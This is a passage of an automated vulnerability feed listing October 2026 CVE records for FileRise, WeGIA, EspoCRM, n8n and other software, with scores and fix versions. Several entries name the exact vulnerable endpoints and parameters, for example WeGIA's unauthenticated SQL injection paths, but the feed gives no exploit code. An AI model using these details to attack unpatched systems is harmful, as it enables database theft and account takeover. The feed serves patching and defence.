FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.16.0, FileRise treats an empty or missing users.txt file as a fresh installation even after setup previously completed. If storage loss, truncation, or another failure empties the user store, an unauthenticated remote caller can detect that setup mode reopened and create the next initial administrator account through the setup flow. The application lacked a durable setup-complete marker independent of the mutable user store. This issue is fixed in version 3.16.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations.
https://kevwire.com/record/CVE-2026-57490
FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. (Oct 14, 2026).
FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.16.0, when an administrator has enabled WebDAV, FileRise WebDAV Basic authentication validates only the account username and password through AuthModel::authenticate() and does not enforce the account's configured TOTP factor. An attacker who knows valid primary credentials for a TOTP-enabled account can authenticate to the enabled WebDAV service without supplying the second factor and exercise the account's WebDAV file permissions. The browser login path enforces TOTP, but the separate public/webdav.php authentication callback did not. This issue is fixed in version 3.16.0.
CVSS 8.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-57490).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-57490&date=2026-10-25).
Sources:
NVD CVE-2026-57490: https://nvd.nist.gov/vuln/detail/CVE-2026-57490
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-57490&date=2026-10-25
FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.16.0, when an administrator has enabled WebDAV, FileRise WebDAV Basic authentication validates only the account username and password through AuthModel::authenticate() and does not enforce the account's configured TOTP factor. An attacker who knows valid primary credentials for a TOTP-enabled account can authenticate to the enabled WebDAV service without supplying the second factor and exercise the account's WebDAV file permissions. The browser login path enforces TOTP, but the separate public/webdav.php authentication callback did not. This issue is fixed in version 3.16.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### WeGIA is a web manager for charitable institutions.
https://kevwire.com/record/CVE-2026-55684
WeGIA is a web manager for charitable institutions. (Oct 14, 2026).
WeGIA is a web manager for charitable institutions. Prior to 3.8.6, the unauthenticated web/html/socio/sistema/cadastro_cobrancas_geracao.php endpoint accepts form-encoded POST data through extract($_REQUEST) and interpolates codigo, descricao, data_emissao, data_vencimento, data_pagamento, valor, valor_pago, status, link_cobranca, link_boleto, linha_digitavel, and id_socio into a raw INSERT statement. Numeric parameters are unquoted and unvalidated, while string parameters can break out of their single-quoted SQL context. A remote attacker can execute arbitrary SQL to read or modify billing, member, employee, permission, and credential data or to delete database tables. This issue is fixed in version 3.8.6.
CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55684).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55684&date=2026-10-25).
Sources:
NVD CVE-2026-55684: https://nvd.nist.gov/vuln/detail/CVE-2026-55684
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55684&date=2026-10-25
WeGIA is a web manager for charitable institutions. Prior to 3.8.6, the unauthenticated web/html/socio/sistema/cadastro_cobrancas_geracao.php endpoint accepts form-encoded POST data through extract($_REQUEST) and interpolates codigo, descricao, data_emissao, data_vencimento, data_pagamento, valor, valor_pago, status, link_cobranca, link_boleto, linha_digitavel, and id_socio into a raw INSERT statement. Numeric parameters are unquoted and unvalidated, while string parameters can break out of their single-quoted SQL context. A remote attacker can execute arbitrary SQL to read or modify billing, member, employee, permission, and credential data or to delete database tables. This issue is fixed in version 3.8.6.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### WeGIA is a web manager for charitable institutions.
https://kevwire.com/record/CVE-2026-55683
WeGIA is a web manager for charitable institutions. (Oct 14, 2026).
WeGIA is a web manager for charitable institutions. Prior to 3.8.6, the unauthenticated web/html/socio/sistema/cadastro_cobranca.php endpoint accepts POST input through extract($_REQUEST) and directly incorporates valor, valor_pago, id_pessoa, id_socio, and id_sociotipo into UPDATE, INSERT, and SELECT statements without prepared statements. A remote attacker can use the affected parameters to execute arbitrary SQL that reads or modifies WeGIA database content, including billing records and credential data. The same SQL access can delete or truncate tables, causing loss of application data. This issue is fixed in version 3.8.6.
CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55683).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55683&date=2026-10-25).
Sources:
NVD CVE-2026-55683: https://nvd.nist.gov/vuln/detail/CVE-2026-55683
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55683&date=2026-10-25
WeGIA is a web manager for charitable institutions. Prior to 3.8.6, the unauthenticated web/html/socio/sistema/cadastro_cobranca.php endpoint accepts POST input through extract($_REQUEST) and directly incorporates valor, valor_pago, id_pessoa, id_socio, and id_sociotipo into UPDATE, INSERT, and SELECT statements without prepared statements. A remote attacker can use the affected parameters to execute arbitrary SQL that reads or modifies WeGIA database content, including billing records and credential data. The same SQL access can delete or truncate tables, causing loss of application data. This issue is fixed in version 3.8.6.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### WeGIA is a web manager for charitable institutions.
https://kevwire.com/record/CVE-2026-55681
WeGIA is a web manager for charitable institutions. (Oct 14, 2026).
WeGIA is a web manager for charitable institutions. Prior to 3.8.6, an authenticated user with access to the Material & Patrimônio module can submit id_produto to web/html/matPat/restaurar_produto_desocultar.php, where a second extract($_REQUEST) overwrites the value previously sanitized by intval(). The raw value is interpolated into UPDATE statements for the produto, isaida, and ientrada tables. An attacker can execute arbitrary SQL to extract sensitive database records or modify institutional and inventory data. This issue is fixed in version 3.8.6.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55681).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55681&date=2026-10-25).
Sources:
NVD CVE-2026-55681: https://nvd.nist.gov/vuln/detail/CVE-2026-55681
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55681&date=2026-10-25
WeGIA is a web manager for charitable institutions. Prior to 3.8.6, an authenticated user with access to the Material & Patrimônio module can submit id_produto to web/html/matPat/restaurar_produto_desocultar.php, where a second extract($_REQUEST) overwrites the value previously sanitized by intval(). The raw value is interpolated into UPDATE statements for the produto, isaida, and ientrada tables. An attacker can execute arbitrary SQL to extract sensitive database records or modify institutional and inventory data. This issue is fixed in version 3.8.6.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### WeGIA is a web manager for charitable institutions.
https://kevwire.com/record/CVE-2026-55680
WeGIA is a web manager for charitable institutions. (Oct 14, 2026).
WeGIA is a web manager for charitable institutions. Prior to 3.8.6, unauthenticated POST requests to web/html/socio/sistema/cadastro_cobranca.php can place a quoted SQL expression in the codigo parameter, which extract($_REQUEST) passes into the WHERE codigo= clause of an UPDATE statement without validation or parameter binding. Quoting the value bypasses MariaDB type conversion for the VARCHAR column and permits arbitrary SQL execution without a session. An attacker can read or modify database content, including user credential hashes and billing records in the cobrancas table. This issue is fixed in version 3.8.6.
CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55680).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55680&date=2026-10-25).
Sources:
NVD CVE-2026-55680: https://nvd.nist.gov/vuln/detail/CVE-2026-55680
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55680&date=2026-10-25
WeGIA is a web manager for charitable institutions. Prior to 3.8.6, unauthenticated POST requests to web/html/socio/sistema/cadastro_cobranca.php can place a quoted SQL expression in the codigo parameter, which extract($_REQUEST) passes into the WHERE codigo= clause of an UPDATE statement without validation or parameter binding. Quoting the value bypasses MariaDB type conversion for the VARCHAR column and permits arbitrary SQL execution without a session. An attacker can read or modify database content, including user credential hashes and billing records in the cobrancas table. This issue is fixed in version 3.8.6.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### EspoCRM is an open source customer relationship management application.
https://kevwire.com/record/CVE-2026-53574
EspoCRM is an open source customer relationship management application. (Oct 15, 2026).
EspoCRM is an open source customer relationship management application. From 8.1.0 until 9.3.8, an authenticated non-administrator can submit a crafted where parameter to the GET entity streamAttachments endpoint because that query path permits complex expressions. Boolean-based blind SQL injection can extract arbitrary database information, including active administrator session tokens, and can enable full privilege escalation. This issue is fixed in version 9.3.8.
CVSS 7.6 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-53574).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-53574&date=2026-10-25).
Sources:
NVD CVE-2026-53574: https://nvd.nist.gov/vuln/detail/CVE-2026-53574
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-53574&date=2026-10-25
EspoCRM is an open source customer relationship management application. From 8.1.0 until 9.3.8, an authenticated non-administrator can submit a crafted where parameter to the GET entity streamAttachments endpoint because that query path permits complex expressions. Boolean-based blind SQL injection can extract arbitrary database information, including active administrator session tokens, and can enable full privilege escalation. This issue is fixed in version 9.3.8.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### n8n before 1.123.83, 2.41.4, and 2.42.1 contains a stored cross-site scripting vulnerability in the file-preview modal, which re-publishes binary data as an unsandboxed...
https://kevwire.com/record/CVE-2026-110849
n8n before 1.123.83, 2.41.4, and 2.42.1 contains a stored cross-site scripting vulnerability in the file-preview modal, which re-publishes binary data as an unsandboxed... (Oct 14, 2026).
n8n before 1.123.83, 2.41.4, and 2.42.1 contains a stored cross-site scripting vulnerability in the file-preview modal, which re-publishes binary data as an unsandboxed same-origin blob URL. A member who uploads a crafted item can run script in the n8n origin of whoever previews it, typically the owner, and act with their session.
CVSS 7.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110849).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110849&date=2026-10-25).
Sources:
NVD CVE-2026-110849: https://nvd.nist.gov/vuln/detail/CVE-2026-110849
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110849&date=2026-10-25
n8n before 1.123.83, 2.41.4, and 2.42.1 contains a stored cross-site scripting vulnerability in the file-preview modal, which re-publishes binary data as an unsandboxed same-origin blob URL. A member who uploads a crafted item can run script in the n8n origin of whoever previews it, typically the owner, and act with their session.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### n8n before 1.123.83 contains an authorization bypass vulnerability that allows shared-workflow editors to use credentials they cannot access by embedding them in nested or tool...
https://kevwire.com/record/CVE-2026-110844
n8n before 1.123.83 contains an authorization bypass vulnerability that allows shared-workflow editors to use credentials they cannot access by embedding them in nested or tool... (Oct 14, 2026).
n8n before 1.123.83 contains an authorization bypass vulnerability that allows shared-workflow editors to use credentials they cannot access by embedding them in nested or tool inline sub-workflows. Attackers can save workflows with Workflow Tool or Workflow Retriever inline definitions referencing restricted credentials, which execute using the workflow owner's credential values.
CVSS 7.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110844).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110844&date=2026-10-25).
Sources:
NVD CVE-2026-110844: https://nvd.nist.gov/vuln/detail/CVE-2026-110844
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110844&date=2026-10-25
n8n before 1.123.83 contains an authorization bypass vulnerability that allows shared-workflow editors to use credentials they cannot access by embedding them in nested or tool inline sub-workflows. Attackers can save workflows with Workflow Tool or Workflow Retriever inline definitions referencing restricted credentials, which execute using the workflow owner's credential values.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was detected in turboderp ExLlamaV2 up to 0.3.2. Affected is the function STFile.get_tensor of the file exllamav2/stloader.py of the component Safetensors Tensor...
https://kevwire.com/record/CVE-2026-110695
A vulnerability was detected in turboderp ExLlamaV2 up to 0.3.2. Affected is the function STFile.get_tensor of the file exllamav2/stloader.py of the component Safetensors Tensor... (Oct 14, 2026).
A vulnerability was detected in turboderp ExLlamaV2 up to 0.3.2. Affected is the function STFile.get_tensor of the file exllamav2/stloader.py of the component Safetensors Tensor Loader. Performing a manipulation of the argument data_offsets results in buffer overflow. The attack is possible to be carried out remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 2.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110695).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110695&date=2026-10-25).
Sources:
NVD CVE-2026-110695: https://nvd.nist.gov/vuln/detail/CVE-2026-110695
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110695&date=2026-10-25
A vulnerability was detected in turboderp ExLlamaV2 up to 0.3.2. Affected is the function STFile.get_tensor of the file exllamav2/stloader.py of the component Safetensors Tensor Loader. Performing a manipulation of the argument data_offsets results in buffer overflow. The attack is possible to be carried out remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in OpenSIPS up to 3.6.8/4.0.1. The impacted element is the function rtpproxy_offer/rtpproxy_answer of the component rtpproxy.
https://kevwire.com/record/CVE-2026-110679
A vulnerability was determined in OpenSIPS up to 3.6.8/4.0.1. The impacted element is the function rtpproxy_offer/rtpproxy_answer of the component rtpproxy. (Oct 14, 2026).
A vulnerability was determined in OpenSIPS up to 3.6.8/4.0.1. The impacted element is the function rtpproxy_offer/rtpproxy_answer of the component rtpproxy. This manipulation causes out-of-bounds read. The attack may be initiated remotely. Upgrading to version 3.6.9 and 4.0.2 is sufficient to resolve this issue. It is advisable to upgrade the affected component.
CVSS 6.9 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110679).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110679&date=2026-10-25).
Sources:
NVD CVE-2026-110679: https://nvd.nist.gov/vuln/detail/CVE-2026-110679
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110679&date=2026-10-25
A vulnerability was determined in OpenSIPS up to 3.6.8/4.0.1. The impacted element is the function rtpproxy_offer/rtpproxy_answer of the component rtpproxy. This manipulation causes out-of-bounds read. The attack may be initiated remotely. Upgrading to version 3.6.9 and 4.0.2 is sufficient to resolve this issue. It is advisable to upgrade the affected component.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was found in cemtan sar2html 4.0.0. The affected element is the function updateDb of the file sar2html.py of the component Archive Processing.
https://kevwire.com/record/CVE-2026-110670
A vulnerability was found in cemtan sar2html 4.0.0. The affected element is the function updateDb of the file sar2html.py of the component Archive Processing. (Oct 14, 2026).
A vulnerability was found in cemtan sar2html 4.0.0. The affected element is the function updateDb of the file sar2html.py of the component Archive Processing. The manipulation of the argument s2host results in sql injection. The attack can be launched remotely. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 6.9 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110670).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110670&date=2026-10-25).
Sources:
NVD CVE-2026-110670: https://nvd.nist.gov/vuln/detail/CVE-2026-110670
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110670&date=2026-10-25
A vulnerability was found in cemtan sar2html 4.0.0. The affected element is the function updateDb of the file sar2html.py of the component Archive Processing. The manipulation of the argument s2host results in sql injection. The attack can be launched remotely. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw has been found in slackero phpwcms up to 1.9.49/1.12.3. This issue affects some unknown processing of the file include/inc_front/content/cnt23.article.inc.php of the...
https://kevwire.com/record/CVE-2026-110025
A flaw has been found in slackero phpwcms up to 1.9.49/1.12.3. This issue affects some unknown processing of the file include/inc_front/content/cnt23.article.inc.php of the... (Oct 13, 2026).
A flaw has been found in slackero phpwcms up to 1.9.49/1.12.3. This issue affects some unknown processing of the file include/inc_front/content/cnt23.article.inc.php of the component Extension Check. This manipulation of the argument POST_name causes unrestricted upload. The attack can be initiated remotely. Upgrading to version 1.9.50 and 1.12.4 is capable of addressing this issue. Patch name: 118c978430f5a9668b30535f6e592c7ae8df711f/f4c136b467565b2d16ebe2b8276b9a03547a9a69/8571cb47df8d66804d1eb88ae3d1ab4fb513e1e7. Upgrading the affected component is recommended.
CVSS 6.9 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110025).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110025&date=2026-10-25).
Sources:
NVD CVE-2026-110025: https://nvd.nist.gov/vuln/detail/CVE-2026-110025
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110025&date=2026-10-25
A flaw has been found in slackero phpwcms up to 1.9.49/1.12.3. This issue affects some unknown processing of the file include/inc_front/content/cnt23.article.inc.php of the component Extension Check. This manipulation of the argument POST_name causes unrestricted upload. The attack can be initiated remotely. Upgrading to version 1.9.50 and 1.12.4 is capable of addressing this issue. Patch name: 118c978430f5a9668b30535f6e592c7ae8df711f/f4c136b467565b2d16ebe2b8276b9a03547a9a69/8571cb47df8d66804d1eb88ae3d1ab4fb513e1e7. Upgrading the affected component is recommended.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in GPAC up to 26.07.0. This vulnerability affects the function gf_m2ts_decode_ait of the file src/media_tools/ait.c of the component AIT Parser.
https://kevwire.com/record/CVE-2026-109827
A vulnerability has been found in GPAC up to 26.07.0. This vulnerability affects the function gf_m2ts_decode_ait of the file src/media_tools/ait.c of the component AIT Parser. (Oct 13, 2026).
A vulnerability has been found in GPAC up to 26.07.0. This vulnerability affects the function gf_m2ts_decode_ait of the file src/media_tools/ait.c of the component AIT Parser. Such manipulation leads to out-of-bounds write. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The name of the patch is 6d2c21a1a688abb20d0111b608db3b6f44d348f4. Applying a patch is advised to resolve this issue.
CVSS 2.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109827).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109827&date=2026-10-25).
Sources:
NVD CVE-2026-109827: https://nvd.nist.gov/vuln/detail/CVE-2026-109827
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109827&date=2026-10-25
A vulnerability has been found in GPAC up to 26.07.0. This vulnerability affects the function gf_m2ts_decode_ait of the file src/media_tools/ait.c of the component AIT Parser. Such manipulation leads to out-of-bounds write. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The name of the patch is 6d2c21a1a688abb20d0111b608db3b6f44d348f4. Applying a patch is advised to resolve this issue.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in maxfoundry Social Share Buttons share-button allows Stored XSS.This issue...
https://kevwire.com/record/CVE-2026-109702
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in maxfoundry Social Share Buttons share-button allows Stored XSS.This issue... (Oct 15, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in maxfoundry Social Share Buttons share-button allows Stored XSS.This issue affects Social Share Buttons: from n/a through 1.31.
CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109702).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109702&date=2026-10-25).
Sources:
NVD CVE-2026-109702: https://nvd.nist.gov/vuln/detail/CVE-2026-109702
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109702&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in maxfoundry Social Share Buttons share-button allows Stored XSS.This issue affects Social Share Buttons: from n/a through 1.31.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Insertion of Sensitive Information Into Sent Data vulnerability in WPManageNinja FluentCart fluent-cart allows Retrieve Embedded Sensitive Data.This issue affects FluentCart: from...
https://kevwire.com/record/CVE-2026-109695
Insertion of Sensitive Information Into Sent Data vulnerability in WPManageNinja FluentCart fluent-cart allows Retrieve Embedded Sensitive Data.This issue affects FluentCart: from... (Oct 15, 2026).
Insertion of Sensitive Information Into Sent Data vulnerability in WPManageNinja FluentCart fluent-cart allows Retrieve Embedded Sensitive Data.This issue affects FluentCart: from n/a through 1.7.1.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109695).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109695&date=2026-10-25).
Sources:
NVD CVE-2026-109695: https://nvd.nist.gov/vuln/detail/CVE-2026-109695
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109695&date=2026-10-25
Insertion of Sensitive Information Into Sent Data vulnerability in WPManageNinja FluentCart fluent-cart allows Retrieve Embedded Sensitive Data.This issue affects FluentCart: from n/a through 1.7.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Object Injection.This issue affects Link Whisper Free: from n/a through...
https://kevwire.com/record/CVE-2026-109686
Deserialization of Untrusted Data vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Object Injection.This issue affects Link Whisper Free: from n/a through... (Oct 15, 2026).
Deserialization of Untrusted Data vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Object Injection.This issue affects Link Whisper Free: from n/a through 0.9.7.
CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109686).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109686&date=2026-10-25).
Sources:
NVD CVE-2026-109686: https://nvd.nist.gov/vuln/detail/CVE-2026-109686
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109686&date=2026-10-25
Deserialization of Untrusted Data vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Object Injection.This issue affects Link Whisper Free: from n/a through 0.9.7.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw has been found in Colorful iGameCenter 2.0.0.82. Affected by this vulnerability is the function MmMapIoSpace in the library AMDRyzenMasterDriver.sys of the component...
https://kevwire.com/record/CVE-2026-109520
A flaw has been found in Colorful iGameCenter 2.0.0.82. Affected by this vulnerability is the function MmMapIoSpace in the library AMDRyzenMasterDriver.sys of the component... (Oct 13, 2026).
A flaw has been found in Colorful iGameCenter 2.0.0.82. Affected by this vulnerability is the function MmMapIoSpace in the library AMDRyzenMasterDriver.sys of the component Dispatch Handler. This manipulation of the argument SystemBuffer causes privilege defined with unsafe actions. The attack needs to be launched locally. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 9.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109520).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109520&date=2026-10-25).
Sources:
NVD CVE-2026-109520: https://nvd.nist.gov/vuln/detail/CVE-2026-109520
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
